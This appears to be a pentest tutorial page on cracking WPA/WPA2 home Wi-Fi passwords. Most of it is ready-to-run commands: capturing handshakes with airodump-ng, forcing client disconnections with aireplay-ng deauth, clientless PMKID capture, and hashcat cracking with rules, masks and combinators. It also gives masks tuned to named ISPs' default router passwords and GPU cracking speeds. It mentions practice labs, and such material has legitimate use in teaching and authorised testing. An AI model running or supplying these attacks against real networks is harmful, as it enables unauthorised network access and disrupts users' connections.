Wi-Fi exploitation

Intermediate

T1040 | Network Sniffing T1110 | Brute Force

WPA/WPA2 Cracking

WPA2-PSK is the most common home WiFi security. Attacks focus on capturing the 4-way handshake or PMKID and cracking it offline.

WiFi-Specific Cracking Strategy

Generic wordlists often miss WiFi passwords. Supplement with: ISP default patterns (e.g. BT Hub: 10 lowercase letters), SSID-derived masks (hashcat --stdout -a 3 ?d?d?d?d?d?d?d?d | aircrack-ng -w - ...), and targeted rules like best64.rule + toggles.rule. Prefer PMKID capture over deauth — it's clientless and stealthier.

WPA/WPA2 handshake & PMKID capture

A monitor-mode adapter either associates directly to read the AP's M1 PMKID (clientless) or deauths a client to force the 4-way handshake; both captures convert with hcxpcapngtool to hashcat mode 22000 for offline PSK recovery.

4-Way Handshake Capture

Start the Capture

01-start-capture.sh

sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon

Deauthenticate a Client

Force a reconnection to produce the handshake. Flags: -0 deauth attack, 5 number of deauths, -a target AP BSSID, -c target client MAC.

02-deauth.sh

# In another terminal:
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c CC:DD:EE:FF:00:11 wlan0mon

Confirm the Handshake

Wait for "WPA handshake: AA:BB:CC:DD:EE:FF" in airodump, then verify the capture contains it.

03-verify.sh

aircrack-ng handshake-01.cap

Crack with a Wordlist (aircrack-ng)

04-crack-cpu.sh

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF handshake-01.cap

Convert & Crack with Hashcat

GPU cracking with Hashcat is much faster. First, convert the capture to hashcat format.

05-convert.sh

# Modern path — hcxpcapngtool writes the hashcat 22000 format
hcxpcapngtool -o handshake.hc22000 handshake-01.cap

# Legacy path — aircrack-ng -j writes an .hccapx file for the deprecated
# mode 2500 (4-way handshakes only); prefer the .hc22000 above
aircrack-ng -j handshake handshake-01.cap

Crack with hashcat using mode 22000 (WPA-PBKDF2-PMKID+EAPOL).

06-crack-gpu.sh

hashcat -m 22000 handshake.hc22000 /usr/share/wordlists/rockyou.txt

Use rules for better coverage.

07-crack-rules.sh

hashcat -m 22000 handshake.hc22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rule

PMKID Attack (Clientless)

PMKID Attack Overview: Discovered in 2018, this attack extracts the Pairwise Master Key Identifier from the first frame of the 4-way handshake (EAPOL frame 1). No client needed, no handshake required - just association with the AP.

Why PMKID Works

The PMKID is calculated as: HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
Since MAC addresses are known, we can brute force the PMK (Pairwise Master Key) which is derived from the PSK (Pre-Shared Key / WiFi password).

Capture PMKID with hcxdumptool

08-pmkid-capture.sh

# Install hcxdumptool and hcxtools
sudo apt install hcxdumptool hcxtools

# Capture PMKID — monitor mode IS required, but hcxdumptool sets it up
# itself, so do not run airmon-ng first
sudo hcxdumptool -i wlan0 -o pmkid.pcapng

# Target a specific network by locking its channel
sudo hcxdumptool -i wlan0 -c 6 -o pmkid.pcapng

# hcxdumptool 7.x reworked the old --filterlist_ap/--filtermode flags —
# see the tool's help output for the current target/whitelist options.
# Target AP MACs (one per line):
# AA:BB:CC:DD:EE:FF
# 11:22:33:44:55:66

Extract & Convert to Hashcat Format

09-pmkid-extract.sh

# Convert to hashcat 22000 format
hcxpcapngtool -o pmkid.hc22000 pmkid.pcapng

# Check if PMKID was captured (PMKID hashes use the WPA*01 prefix)
cat pmkid.hc22000 | grep "^WPA\*01"

# Output format: WPA*01*PMKID*MAC_AP*MAC_STA*ESSID

Crack PMKID with Hashcat

10-pmkid-crack.sh

# Basic dictionary attack
hashcat -m 22000 pmkid.hc22000 /usr/share/wordlists/rockyou.txt

# Mask attack (8 digits)
hashcat -m 22000 pmkid.hc22000 -a 3 ?d?d?d?d?d?d?d?d

# Hybrid attack (wordlist + digits)
hashcat -m 22000 pmkid.hc22000 -a 6 wordlist.txt ?d?d?d?d

# Show cracked passwords
hashcat -m 22000 pmkid.hc22000 --show

Alternative: Use Bettercap to trigger PMKID capture.

11-bettercap-pmkid.sh

sudo bettercap -iface wlan0mon
> wifi.recon on
> wifi.show

# Associate with target AP to trigger PMKID
> wifi.assoc AA:BB:CC:DD:EE:FF

# PMKID will be saved in bettercap session
> set wifi.handshakes.file pmkid.pcap

Advanced Cracking Techniques

Combinator Attack: Combine two wordlists.

12-combinator.sh

# Combine words from two lists
hashcat -m 22000 handshake.hc22000 -a 1 wordlist1.txt wordlist2.txt

# Example: "password" + "123" = "password123"

Rainbow Tables: Pre-computed hashes for common SSIDs.

13-rainbow.sh

# Generate rainbow table for specific SSID
genpmk -f wordlist.txt -d rainbow.db -s "SSID_NAME"

# Use cowpatty with rainbow table
cowpatty -d rainbow.db -r handshake-01.cap -s "SSID_NAME"

# Note: SSID is part of the PMK calculation, so rainbow tables
# are SSID-specific (Common SSIDs: "linksys", "default", "NETGEAR")

Incremental Mask Attack: Target specific password patterns.

14-mask-attacks.sh

# Format: SSID + 4 digits (common for many routers)
hashcat -m 22000 handshake.hc22000 -a 3 MyWiFi?d?d?d?d

# Year patterns (2020-2029)
hashcat -m 22000 handshake.hc22000 -a 3 ?l?l?l?l202?d

# Phone number patterns (XXX-XXXX)
hashcat -m 22000 handshake.hc22000 -a 3 ?d?d?d-?d?d?d?d

# Custom charset (lowercase + numbers only)
hashcat -m 22000 handshake.hc22000 -a 3 -1 ?l?d ?1?1?1?1?1?1?1?1

Distribution Cracking: Use multiple GPUs or cloud instances.

15-distributed.sh

# Split the keyspace by candidate offset
# Instance 1: crack the first 5,000,000 candidates
hashcat -m 22000 handshake.hc22000 wordlist.txt --skip=0 --limit=5000000

# Instance 2: crack from candidate 5,000,001 onwards
hashcat -m 22000 handshake.hc22000 wordlist.txt --skip=5000000

# Restore session if interrupted
hashcat -m 22000 handshake.hc22000 wordlist.txt --session=session1 --restore

PMKID Limitations

• Not all routers/APs support PMKID (patched in newer firmware)
• Roaming enabled APs more likely to have PMKID
• If PMKID fails, fall back to traditional 4-way handshake
• WPA3 (SAE) does not use PMKID

Hashcat Mode Reference

Hashcat supports multiple WiFi-related hash modes. Use the correct mode for your capture format.

Mode	Name	Use Case	Input Format
22000	WPA-PBKDF2-PMKID+EAPOL	Modern unified mode — handles both PMKID and 4-way handshakes	`.hc22000` (hcxpcapngtool)
22001	WPA-PMK-PMKID+EAPOL	Crack using raw PMK (skip PBKDF2) — use if you have the PMK already	`.hc22000`
16800	WPA-PMKID-PBKDF2 (legacy)	PMKID-only captures — older format, superseded by 22000	`.16800` (hcxpcaptool)
2500	WPA-EAPOL-PBKDF2 (legacy)	4-way handshake only — legacy format, use 22000 instead	`.hccapx` (cap2hccapx)
5500	NetNTLMv1 / MSCHAPv2	WPA-Enterprise captured credentials (EAP-MSCHAP)	`user::domain:hash`
5600	NetNTLMv2	WPA-Enterprise NTLMv2 credentials	`user::domain:hash`

16-format-conversion.sh

# Convert captures to modern format (always use 22000)
hcxpcapngtool -o output.hc22000 capture.pcapng

# Check what was extracted
cat output.hc22000 | head -5
# WPA*01* = PMKID hash
# WPA*02* = EAPOL hash

# Legacy format conversion (if you have old .cap files)
# cap → hccapx (mode 2500, deprecated)
cap2hccapx capture.cap output.hccapx

# hccapx → hc22000 (upgrade to modern format)
hcxpcapngtool -o output.hc22000 --hccapx=input.hccapx

ISP Default Password Patterns

Many ISP-supplied routers use predictable default WiFi passwords. Target these patterns with mask attacks instead of generic wordlists — it's dramatically more effective.

17-isp-patterns.sh

# ==========================================
# BT Home Hub (UK) — 10 lowercase letters
# ==========================================
# Pattern: [a-z]{10} (e.g., "abcdefghij")
# Keyspace: 26^10 ≈ 141 trillion — too large for a full mask attack
# Strategy: Use BT-specific wordlists from SecLists with the rules above
# (not the full ?l?l?l?l?l?l?l?l?l?l mask, which is impractical)

# ==========================================
# Sky Broadband (UK) — 8 uppercase letters
# ==========================================
# Pattern: [A-Z]{8} (e.g., "ABCDEFGH")
# Keyspace: 26^8 ≈ 208 billion — crackable on high-end GPU
hashcat -m 22000 handshake.hc22000 -a 3 ?u?u?u?u?u?u?u?u

# ==========================================
# Virgin Media Super Hub (UK) — 8 lowercase letters
# ==========================================
hashcat -m 22000 handshake.hc22000 -a 3 ?l?l?l?l?l?l?l?l

# ==========================================
# Xfinity/Comcast (US) — "YOURSSID" + 3 digits or word+digits
# ==========================================
# Defaults often match: [word][3-4 digits] (3-digit example shown)
hashcat -m 22000 handshake.hc22000 -a 6 wordlist.txt ?d?d?d

# ==========================================
# AT&T U-verse / BGW210 — 10 digit numeric
# ==========================================
hashcat -m 22000 handshake.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d

# ==========================================
# Spectrum (US) — 8 lowercase alphanumeric
# ==========================================
hashcat -m 22000 handshake.hc22000 -a 3 -1 ?l?d ?1?1?1?1?1?1?1?1

# ==========================================
# Deutsche Telekom Speedport (DE) — 16 hex digits
# ==========================================
hashcat -m 22000 handshake.hc22000 -a 3 -1 0123456789abcdef ?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1

# ==========================================
# UPC/Ziggo (EU) — 8 uppercase alphanumeric (UPC prefix)
# ==========================================
# Default SSID: UPC1234567, Password: [A-Z]{8}
hashcat -m 22000 handshake.hc22000 -a 3 ?u?u?u?u?u?u?u?u

# ==========================================
# Vodafone Station (IT/DE) — 10 hex digits
# ==========================================
hashcat -m 22000 handshake.hc22000 -a 3 -1 0123456789ABCDEF ?1?1?1?1?1?1?1?1?1?1

GPU Cracking Performance

WPA2 uses PBKDF2-SHA1 with 4,096 iterations, making each password guess computationally expensive. Know your hardware capabilities to estimate cracking time. Below are approximate WPA2 cracking speeds (hashcat mode 22000):

GPU	Speed (H/s)	rockyou.txt (14M)	8-digit numeric	8-char lowercase
RTX 4090	~2.5M H/s	~6 seconds	~40 seconds	~34 hours
RTX 3090	~1.4M H/s	~10 seconds	~71 seconds	~60 hours
RTX 3080	~1.0M H/s	~14 seconds	~100 seconds	~84 hours
RTX 2080 Ti	~680K H/s	~21 seconds	~2.5 minutes	~5 days
GTX 1080	~400K H/s	~35 seconds	~4 minutes	~8 days
Cloud (8× A100)	~15M H/s	<1 second	~7 seconds	~6 hours
CPU (i7-12700K)	~30K H/s	~8 minutes	~55 minutes	~280 days

Performance Tips

• Run hashcat -b -m 22000 to benchmark your specific hardware
• NVIDIA GPUs outperform AMD for WPA2 (PBKDF2-SHA1 optimization)
• Minimum 8 GB VRAM recommended; 4 GB works but limits wordlist size
• Use -w 3 (workload profile: high), or -w 4 for the most aggressive profile, on dedicated rigs
• Multi-GPU: hashcat auto-distributes across all detected GPUs
• Cloud option: AWS p4d.24xlarge (8× A100) or Vast.ai for rental GPUs

Verify It Worked

Check	Expected	Where to look
Handshake captured	aircrack-ng handshake-01.cap reports the handshake for the target BSSID	The aircrack-ng output
PMKID extracted	grep "^WPA\01" pmkid.hc22000 matches a line in WPA01PMKIDMAC_APMAC_STAESSID format	The converted hc22000 file
Key recovered	hashcat -m 22000 ... --show lists the recovered password	The hashcat show output

WPA Cracking Practice

Practice WPA2 handshake capture, PMKID extraction, and hashcat cracking in safe lab environments.

WiFi Hacking 101 TryHackMe easy

WPA2 handshake capturedeauth/injectionaircrack-nghashcat HCCAPXmonitor mode

Wifinetic Hack The Box easy

WPS PIN brute force (reaver)WPA PSK from config backupOpenWRTwireless NIC recon

Need help setting up? Check our Lab Setup Guide →

WPA/WPA2 Cracking

4-Way Handshake Capture

Start the Capture

Deauthenticate a Client

Confirm the Handshake

Crack with a Wordlist (aircrack-ng)

Convert & Crack with Hashcat

PMKID Attack (Clientless)

Why PMKID Works

Capture PMKID with hcxdumptool

Extract & Convert to Hashcat Format

Crack PMKID with Hashcat

Advanced Cracking Techniques

PMKID Limitations

Hashcat Mode Reference

ISP Default Password Patterns

GPU Cracking Performance

Verify It Worked

WPA Cracking Practice

Related Topics

Wireless Security

Evil Twin Attack

WPS Attacks

Encryption Cheatsheet

Related Tools

Wi-Fi Command Builder

MAC Address Analyzer

Hash Generator

Subnet Calculator